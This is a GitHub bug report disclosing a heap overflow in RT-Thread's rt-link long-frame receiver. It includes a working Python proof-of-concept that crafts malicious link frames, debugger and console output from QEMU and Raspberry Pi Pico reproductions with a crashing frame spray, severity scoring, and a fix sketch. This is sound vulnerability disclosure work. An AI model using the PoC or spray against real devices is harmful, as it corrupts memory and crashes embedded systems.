Skip to content

[Bug] rt-link: long-frame receiver reassembly trusts attacker-controlled size, offset and length independently, causing a heap buffer overflow from a single link frame #12030

Closed

Description

@XueDugu

RT-Thread Version

master (v5.4.0-dev), verified at commit 5d1fb66d and re-read from origin/master (2026-11-11). Present since release v4.1.0 (verified by tag in v4.1.0, v5.0.0–v5.3.0 and master; absent in v4.0.x).

Affected area

Utilities — components/utilities/rt-link/ (RT_USING_RT_LINK)

Hardware-BSP vendor

Other

Architecture

ARM Cortex-M/A — any board whose firmware enables RT_USING_RT_LINK and supplies the standard board port (the component's documented integration, e.g. boards talking to external WiFi modules over UART through RT_LINK_SERVICE_WIFI)

Board and hardware details

Reproduced two ways: (1) end-to-end over a real UART link under QEMU (qemu-vexpress-a9 BSP, rt-link port wired to the board's second PL011 — the peer injects frames on the wire); (2) on a Raspberry Pi Pico 2 W with a trigger firmware (USB-CDC console, commands feed the identical frame bytes through rt_link_hw_write_cb(), the official board-port receive entry defined in rtlink_port.h). In both cases everything downstream of the port boundary is unmodified upstream rt-link code.

Develop Toolchain

GCC

Describe the bug

The rt-link long-frame receiver allocates the reassembly buffer with one attacker-controlled field (extend.parameter) but fills it using two other independently attacker-controlled fields (the sequence-derived offset and head.length) without any cross-check — one frame from the link peer writes up to ~4 KB of fully attacker-controlled data past a 1-byte heap allocation. No handshake, no CRC, no registered service is required.

/* components/utilities/rt-link/src/rtlink.c */
static void _long_handle_first(struct rt_link_frame *receive_frame)
{
    ...
    rt_link_scb->rx_record.dataspace = rt_malloc(receive_frame->extend.parameter);  /* L475: peer picks the allocation size — can be 1 */
}
static void _long_handle_second(struct rt_link_frame *receive_frame)
{
    ...
    receive_frame->index = rt_link_check_seq(receive_frame->head.sequence, ...) - 1;  /* 0/1/2, from the peer's seq */
    ...
    offset = RT_LINK_MAX_DATA_LENGTH * receive_frame->index;                          /* 1012 * index → 0 / 1012 / 2024 */
    rt_link_hw_copy(rt_link_scb->rx_record.dataspace + offset,
                    receive_frame->real_data, receive_frame->data_len);               /* L503: data_len = head.length, up to 2044 */
}

Nothing verifies offset + data_len <= parameter. Note the sender side (rt_link_send()) enforces total <= RT_LINK_FRAMES_MAX and caps every frame at RT_LINK_MAX_DATA_LENGTH — the receiver trusts invariants its own transmitter guarantees but a hostile peer does not.

PoC — one malicious frame

Frame layout (little-endian): head magicid:5=0x15 | extend:1 | crc:1 | ack:1 / sequence / service:5 | length:11, then extend attribute:u16, parameter:u16, then length payload bytes.

# rt-link long-frame heap-overflow PoC — run against the board's link UART
import socket, struct, time

def frame(seq, length, parameter, service=0):
    b0  = 0x15 | (1 << 5)                       # magic | extend=1 | crc=0 | ack=0
    b2  = (service & 0x1F) | ((length & 0x7) << 5)
    b3  = length >> 3
    ext = struct.pack("<HH", 5, parameter)      # 5 = RT_LINK_LONG_DATA_FRAME
    return bytes([b0, seq, b2, b3]) + ext + b"\x41" * length

s = socket.socket(socket.AF_UNIX); s.connect("/tmp/rtt-uart1.sock")   # peer side of the link UART
for i in range(0, 8 + 1012, 256):
    s.sendall(frame(0x01, 1012, 1)[i:i+256]); time.sleep(0.02)        # seq 1 → index 1: 1012 bytes at chunk+1012

Why this single frame reaches the copy:

  • crc bit = 0 → CHECK_FRAME_CRC is skipped entirely (no checksum to satisfy);
  • no handshake needed: rx_record.rx_seq starts at 255, so sequence 1/2/3 maps to index 1/2/0 and passes the offset < RT_LINK_FRAMES_MAX(3) gate added by PR rt-link: reject frame offset at frame limit #11580 — the PoC frames are legal frames under that fix;
  • no registered service needed: the overflow happens inside _long_handle_second(), before rt_link_recv_finish() would notice the service slot is empty (an unregistered service merely gets a DETACH reply after the copy).

Result: rt_malloc(1) then a 1012-byte attacker memcpy at chunk+1012 — attacker-chosen content, offset (0/1012/2024) and length (up to 2044), i.e. up to 2024 + 2044 = 4067 controlled bytes past a 1-byte allocation. CWE-787 with the full content/offset/length triple under peer control.

Reproduction 1 — full USB/UART wire under QEMU (control vs attack)

Board: qemu-vexpress-a9 + RT_USING_RT_LINK; the board port (30 lines implementing the documented rtlink_port.h contract) hands the second PL011's received bytes to rt_link_hw_write_cb(). The peer is driven from QEMU's second serial chardev.

  • Control — identical frame with parameter=1012 (exact fit for the copy): parsed cleanly, 8-byte DETACH reply on the link UART (35 00 00 00 03 00 00 00), system stays healthy at the msh prompt.
  • Single attack frame — GDB stopped at rtlink.c:503 shows the 1-byte allocation and the write past it:
dataspace=0x600bf3b8  alloc(parameter)=1  data_len=1012  index=0  offset=0
  before: 0x600bf3c0:  00000000 00000000 600bf328 00002110   ← adjacent small-mem chunk header
  after : 0x600bf3c0:  41414141 41414141 41414141 41414141   ← 1011-byte OOB write (peer bytes)
  • Spray (kernel death) — 260 self-synchronised frames (each frame's DETACH reply confirms completion; rx_seq rolls 255→3 mod 256), each leaking a 1-byte chunk and smashing 2044 bytes at +1012. Console afterwards:
backtrace: 60068320 60068480 60044888 60088c40
  = list_get_next(cmd.c:197) ← list_thread ← rt_hw_trap_dabt ← vector_dabt
data abort: r04:0xdeadbeef r05:0xdeadbeef r07:0xdeadbeef ip:0xdeadbeef  (sp inside the rtlink/tshell stack region)
(0) assertion failed at function:rt_hw_cpu_shutdown, line number:85      ← kernel death

Reproduction 2 — on hardware (Raspberry Pi Pico 2 W)

Trigger firmware: RT-Thread kernel + the unmodified components/utilities/rt-link sources, USB-CDC console; the rtlink commands feed the byte-identical frame(s) through rt_link_hw_write_cb() (the receive entry every board port must call). Actual console record:

rtlink> rtlink status
state=0 rx_seq=255 rx_total=0 long_count=0x00 recv_len_port=0
rtlink> rtlink probe                      ← one malicious frame
[*] probe frame delivered (rx_seq 255 -> 0); ...   ← frame fully parsed, OOB copy executed,
                                                      system survives (silent heap corruption)
rtlink> rtlink spray                      ← 7000-frame spray
[*] spraying 7000 long frames (malloc(1) + 2044-byte copy at +1012 each)...
[*] 4750/7000 (rx_seq=246)
[*] 4775/7000 (rx_seq=167)                ← 4775 mod 256 = 167: parsing still completing at death
[                                         ← console freezes mid-line: kernel HardFault, board dead

The death point matches the heap geometry exactly: each leaked rt_malloc(1) occupies 24 bytes in the small-mem allocator, so 4775 frames ≈ 114.6 KB of carve-front advance plus ~13 KB of boot-time live objects ≈ 128 KB = RT_HEAP_SIZE — the frontier and its +3055-byte smash span reach the end of the heap and the kernel dies on the spot, while frame parsing (rx_seq=167) was still completing.

Expected behavior: the receiver must validate the frame against the allocation — reject data_len > RT_LINK_MAX_DATA_LENGTH on receive (the sender side already enforces this) and ensure offset + data_len <= extend.parameter before the _long_handle_second() copy.

Other additional context

  • Severity: CVSS 3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 8.7 — the attacker is the rt-link peer device (external module / other MCU on the link, the component's own deployment model); no privileges, no interaction, no configuration beyond RT_USING_RT_LINK. For reference, NVD scored the sibling send-path rt-link flaw CVE-2024-25395 as AV:N (= 8.8 with PR:L); under the same vector this receive-path flaw, which needs no local application cooperation, would be 9.8. CWE-787.
  • Relationship to CVE-2024-25395 (HN Security, issue Static buffer overflow in RT-Thread rt-link utility #8289, open): different vulnerability — that is the send path (frame_send() static sendbuffer overflow, requires the local application to call rt_link_send oversized). This report is the receive path (long-frame heap reassembly, attacker = link peer alone). Open issue [utilities][rt-link] reject oversized frames before sendbuffer copy #12018 likewise proposes a send-path-only fix and does not touch the receive path.
  • Relationship to merged PR rt-link: reject frame offset at frame limit #11580 ("reject frame offset at frame limit", 50c6853, 2026-07): that fix bounds the frame index to 0/1/2 — the PoC frames use index 0/1 and pass it as legal frames; the missing check is exactly offset + data_len <= parameter on the copy, making this an incomplete-fix sibling of rt-link: reject frame offset at frame limit #11580.
  • Affected versions: introduced with the component's long-frame reassembly (no later than 21f9e56, 2021-05-15); first affected release v4.1.0; verified in v4.1.0 through v5.3.0 and master. No fix on any path: the full commit history of components/utilities/rt-link, all branches, NVD, the HN 2024 advisory and GitHub issue/PR search show no receive-path fix or report.
  • Fix sketch:
/* in _long_handle_first: remember the allocation and validate the total */
rt_link_scb->rx_record.dataspace_size = receive_frame->extend.parameter;
if (receive_frame->extend.parameter == 0 ||
    receive_frame->extend.parameter > RT_LINK_FRAMES_MAX * RT_LINK_MAX_DATA_LENGTH)
    return;  /* abort session */

/* in _long_handle_second, before the copy */
if (receive_frame->data_len > RT_LINK_MAX_DATA_LENGTH ||
    (rt_size_t)RT_LINK_MAX_DATA_LENGTH * receive_frame->index + receive_frame->data_len
        > rt_link_scb->rx_record.dataspace_size)
    return;  /* abort session */

(plus rejecting head.length > RT_LINK_MAX_DATA_LENGTH for data frames in rt_link_frame_check, mirroring what rt_link_send already guarantees on the transmit side)

Activity

  1. github-actions commented on Nov 11, 2026

    @github-actions

    如需认领并处理此 Issue,请评论 /claim。

    To claim and work on this issue, comment /claim.

  2. cms19859230182-lang commented on Nov 11, 2026

    @cms19859230182-lang
    Contributor

    Opened PR #12031: #12031

    Receive-path long-frame reassembly bounds only; did not touch sendbuffer path (#8289/#12018). No malicious frame PoC.

  3. cms19859230182-lang commented on Nov 11, 2026

    @cms19859230182-lang
    Contributor

    /claim

  4. github-actions commented on Nov 11, 2026

    @github-actions

    @cms19859230182-lang has claimed this issue.

  5. added a commit that references this issue on Nov 13, 2026
    e69e662
  6. added a commit that references this issue on Nov 13, 2026
    500de52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions